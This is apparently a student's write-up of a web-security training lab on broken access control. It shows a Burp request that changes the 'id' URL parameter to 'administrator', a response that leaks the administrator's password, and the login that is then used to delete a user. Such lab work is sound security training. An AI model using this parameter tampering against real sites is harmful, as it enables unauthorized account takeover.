

# Access Control Vulnerabilities And Privilege Escalation Lab – 10

## User ID controlled by request parameter with password disclosure

M.Gobi Shankar  
CB.SC.P2CYS23019

Log in using the supplied credentials and access the user account page.

User ID controlled by request parameter with password disclosure LAB Not solved  
[Back to lab description >>](#)

---

[Home](#) | [My account](#) | [Log out](#)

### My Account

Your username is: wiener

Email

Password

Change the "id" parameter in the URL to administrator. View the response in Burp and observe that it contains the administrator's password.

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
<pre>1 GET /my-account?id=administrator HTTP/2 2 Host: 0a1800fa049314cf816c898f00d70001.web-security-academy.net 3 Cookie: session=L756SK818X9J38vFJf15kPmGR4Ac37 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://0a1800fa049314cf816c898f00d70001.web-security-academy.net/login 9 Upgrade-Insecure-Requests: 1 10 Sec-Fetch-Dest: document 11 Sec-Fetch-Mode: navigate 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-User: ?1 14 Te: trailers</pre>			<pre>&lt;p&gt; &lt;/p&gt; &lt;/section&gt; &lt;/header&gt; &lt;header class="notification-header"&gt; &lt;/header&gt; &lt;h1&gt; My Account &lt;/h1&gt; &lt;div id="account-content"&gt; &lt;p&gt; Your username is: administrator &lt;/p&gt; &lt;form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST"&gt; &lt;label&gt; Email &lt;/label&gt; &lt;input required type="email" name="email" value=""&gt; &lt;input required type="hidden" name="csrf" value="L756SK818X9J38vFJf15kPmGR4Ac37"&gt; &lt;button class="button" type="submit"&gt; Update email &lt;/button&gt; &lt;/form&gt; &lt;form class="login-form" action="/my-account/change-password" method="POST"&gt; &lt;label&gt; Password &lt;/label&gt; &lt;input required type="hidden" name="csrf" value="L756SK818X9J38vFJf15kPmGR4Ac37"&gt; &lt;input required type="password" name="password" value="nJe9udvN/zxv05iv77tp/7"&gt; &lt;button class="button" type="submit"&gt; Update password &lt;/button&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; &lt;div class="footer-wrapper"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;</pre>		

Log in to the administrator account and delete carlos.

User ID controlled by request parameter with password disclosure

LABNot solved

[Back to lab description >>](#)

HomeAdmin panelMy account

Users

wiener - Delete

carlos - Delete

Lab Completed Successfully.

User ID controlled by request parameter with password disclosure

LABSolved

[Back to lab description >>](#)

Congratulations, you solved the lab!

Share your skills!TwitterLinkedInContinue learning >>

User deleted successfully!

HomeAdmin panelMy account

Users

wiener - Delete